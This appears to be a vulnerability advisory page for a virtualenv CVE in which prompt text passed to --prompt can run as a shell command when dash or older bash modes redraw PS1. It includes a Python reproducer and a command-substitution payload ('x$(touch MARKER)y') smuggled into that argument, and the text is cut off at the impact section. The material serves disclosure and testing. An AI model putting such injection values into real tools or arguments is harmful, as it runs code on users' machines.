virtualenv: Bash prompt values can change meaning under older compatibility modes
CVE-2026-113723 · GHSA-6w3r-xr62-4xcp · published 23 Oct 2026
How serious is it
- Severity: high, CVSS score 7.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-113723?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
virtualenv(PyPI) < 21.14.9
How to check
- Run
pip show virtualenvin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
virtualenvto 21.14.9 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.
## Affected area
Bash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from
newer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation.
It does not establish exposure through unrelated activators.
## Attacker-controlled input
The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated
activation script.
## Affected code
The relevant 21.14.8 source is in
[bash prompt assembly](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/bash/activate.sh).
## Mechanism
`bin/activate` copies the prompt into `PS1`. A shell expands `PS1` again when it draws a prompt, so the value must
survive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules.
Three other paths still interpret prompt data as commands: dash sourcing `activate` directly, a child dash inheriting an
exported `PS1` from bash, and bash running at compatibility level 4.2 or lower. A value such as `x$(touch MARKER)y` then
runs `touch` on prompt display. Creating the environment does not run the payload.
## Reproduction and evidence
The scanner's child-shell reproducer creates an environment with `--prompt 'x$(touch MARKER)y'`, sources `bin/activate`
in interactive bash, and starts interactive `sh` (dash). Its control leaves `PS1` unexported: neither shell creates
`MARKER`. With `PS1` exported, bash displays the prompt without executing the value, but the child dash creates
`MARKER`; the reproducer ends in `BUG`. The report gives separate console reproductions for direct dash activation and
bash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported `PS1`.
The scanner linked this finding to [#3326](https://github.com/pypa/virtualenv/pull/3326) and its follow-up #3390. Those
changes cover the usual bash path but leave the three paths above. The proposed change in
[#3418](https://github.com/pypa/virtualenv/pull/3418) keeps a variable reference in `PS1`, so prompt text is expanded as
data when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied
by the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected.
## Introduced
The report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited `PS1` to #3390 (first
released in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from
the report; the release confirmed by the maintainer is 21.14.8.
## Attack sequence
```mermaid
sequenceDiagram
participant A as Prompt supplier
participant V as virtualenv
participant B as Interactive bash
participant D as Child dash
A->>V: --prompt x$(touch MARKER)y
V->>B: generated bin/activate
B->>B: assign escaped prompt to PS1
alt PS1 is not exported
B->>D: start sh with its own PS1
D-->>B: marker absent
else PS1 is exported
B->>D: start sh with inherited PS1
D->>D: expand $(touch MARKER) on prompt draw
D-->>B: marker created
end
```
## Reproducer files
The following files are from the scanner report for `ANT-2026-1MOI2X3T`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
**`repro`**
```text
#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path
work = Path("/tmp/repro-inherited-ps1")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
marker = work / "MARKER"
print("sh is", Path("/bin/sh").resolve())
# attacker: only the text a tool such as tox or hatch relays as --prompt
hostile_prompt = f"x$(touch {marker})y"
# set up: the environment, made with the virtualenv command
subprocess.run(
["virtualenv", "--no-periodic-update", "--without-pip", "--activators", "bash",
"--prompt", hostile_prompt, str(work / "env")],
check=True, stdout=subprocess.DEVNULL,
)
assert not marker.exists(), "creating the environment must not run the prompt"
# user: in an interactive bash, source bin/activate, then start sh.
# -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns
session = Path("/tmp/repro.d/user_session.sh").read_text()
interactive_bash = ["bash", "--norc", "--noprofile", "-i"]
# control: PS1 set in bash but not exported, so sh does not inherit it
control = subprocess.run(interactive_bash, input="PS1='\\$ '\n" + session,
stderr=subprocess.PIPE, text=True, check=True)
print(control.stderr)
ran_in_control = marker.exists()
print("CONTROL PS1 not exported: marker created:", ran_in_control)
# attack: the same session with the one difference that PS1 is exported
attack = subprocess.run(interactive_bash, input="export PS1='\\$ '\n" + session,
stderr=subprocess.PIPE, text=True, check=True)
print(attack.stderr)
ran_in_attack = marker.exists()
print("OBSERVED PS1 exported: marker created:", ran_in_attack)
# check: the prompt text must be drawn, never run, by every shell that draws it
print("BUG" if ran_in_attack and not ran_in_control else "OK")
```
**`repro.d/user_session.sh`**
```text
. /tmp/repro-inherited-ps1/env/bin/activate
sh -i </dev/null
```
## Impact
An affected activation can execute…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/pypa/virtualenv/security/advisories/GHSA-6w3r-xr62-4xcp
- nvd.nist.gov/vuln/detail/CVE-2026-113723
- github.com/pypa/virtualenv/pull/3418
- github.com/pypa/virtualenv/commit/5f48d711731311428aebfae61d46957762155b22
- github.com/pypa/virtualenv/releases/tag/21.14.9
- github.com/advisories/GHSA-6w3r-xr62-4xcp
- github.com/pypa/virtualenv
Merged from GitHub Advisory Database, OSV. Last updated 26 Oct 2026. All vulnerabilities · RSS · JSON